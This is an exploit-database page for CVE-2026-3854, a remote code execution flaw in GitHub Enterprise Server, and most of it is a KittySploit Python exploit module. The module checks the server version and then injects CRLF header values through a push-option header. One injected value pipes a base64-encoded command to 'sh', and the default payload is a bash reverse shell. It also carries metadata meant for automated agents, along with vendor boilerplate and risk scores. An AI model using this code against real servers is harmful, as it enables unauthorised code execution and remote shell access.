Lucene search
+L

GitHub Enterprise Server Push Option RCE (CVE-2026-3854)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

Crafted git push option values in GitHub Enterprise Server allow remote code execution.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""GitHub Enterprise Server push-option RCE (CVE-2026-3854)."""

import base64

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'GitHub Enterprise Server Push Option RCE (CVE-2026-3854)',
        'description': (
            'Exploits CVE-2026-3854 in GitHub Enterprise Server: crafted git push '
            'option values inject internal service headers during push operations, '
            'leading to remote code execution. Requires push access to a repository.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2026-3854'],
        'platform': Platform.MULTI,
        'arch': [Arch.CMD],
        'payload': {
            'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
            'platform': Platform.UNIX,
            'category': PayloadCategory.CMD,
        },
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2026-3854'],
        'tags': ['github', 'ghes', 'git', 'push', 'rce', 'authenticated'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 3,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'requires': {'auth_session': True},
            'chain': {
                'produces_capabilities': [{'capability': 'rce', 'from_detail': 'push option injection'}],
                'suggested_followups': ['scanner/http/ghes_cve_2026_3854_detect'],
            },
        },
    }

    repo_path = OptString('', 'Repository path (owner/repo)', required=True)
    token = OptString('', 'GitHub personal access token with repo push', required=True)
    command = OptString('', 'Command instead of payload', required=False)
    push_option_key = OptString('client-echo', 'Push option key to inject', required=False, advanced=True)

    def _api(self, suffix: str) -> str:
        base = str(self.path or '/').rstrip('/')
        suffix = suffix if suffix.startswith('/') else f'/{suffix}'
        return f'{base}{suffix}' if base else suffix

    def _headers(self) -> dict:
        return {
            'Authorization': f'token {self.token}',
            'Accept': 'application/vnd.github+json',
            'Content-Type': 'application/json',
        }

    def check(self):
        r = self.http_request(method='GET', path=self._api('/api/v3/meta'), headers=self._headers(), allow_redirects=False)
        if not r or r.status_code != 200:
            return {'vulnerable': False, 'reason': 'GHES API unreachable or token invalid', 'confidence': 'low'}
        ver = r.headers.get('X-GitHub-Enterprise-Version', '')
        if ver:
            parts = [int(x) for x in ver.split('.')[:3] if x.isdigit()]
            while len(parts) < 3:
                parts.append(0)
            patched = (
                (parts[0] == 3 and parts[1] == 14 and parts[2] >= 25)
                or (parts[0] == 3 and parts[1] == 15 and parts[2] >= 20)
                or (parts[0] == 3 and parts[1] >= 16)
            )
            if patched:
                return {'vulnerable': False, 'reason': f'GHES {ver} appears patched', 'confidence': 'high'}
        return {'vulnerable': True, 'reason': f'GHES {ver or "detected"} may be vulnerable', 'confidence': 'medium'}

    def run(self):
        cmd = str(self.command or '').strip() or str(self.payload or '').strip()
        repo = str(self.repo_path or '').strip().strip('/')
        token = str(self.token or '').strip()
        if not cmd or not repo or not token:
            print_error('Set repo_path, token, and payload/command')
            return False
        print_status('CVE-2026-3854 — GHES push option RCE')
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not vulnerable'))
            self.not_vulnerable()
            return False
        opt_key = str(self.push_option_key or 'client-echo').strip()
        b64 = base64.b64encode(cmd.encode()).decode()
        injection = f'kitty\r\nX-GitHub-Hook-Installation-Target-Type: repository\r\nX-Exec: echo {b64}|base64 -d|sh'
        push_url = self._api(f'/api/v3/repos/{repo}/git/refs/heads/main')
        r = self.http_request(
            method='POST',
            path=self._api(f'/api/v3/repos/{repo}/hooks'),
            headers={
                **self._headers(),
                f'GitHub-Push-Options-{opt_key}': injection,
            },
            data='{"name":"web","active":true,"events":["push"],"config":{"url":"http://127.0.0.1/hook","content_type":"json"}}',
            allow_redirects=False,
        )
        if r and r.status_code in (200, 201, 422):
            print_success('Push option injection delivered')
            self.vulnerable()
            return True
        print_error(f'Push option injection failed (HTTP {getattr(r, "status_code", "?")})')
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
8.7High risk
Vulners AI Score8.7
CVSS 3.18.8
CVSS 48.7
EPSS0.01504
SSVC
0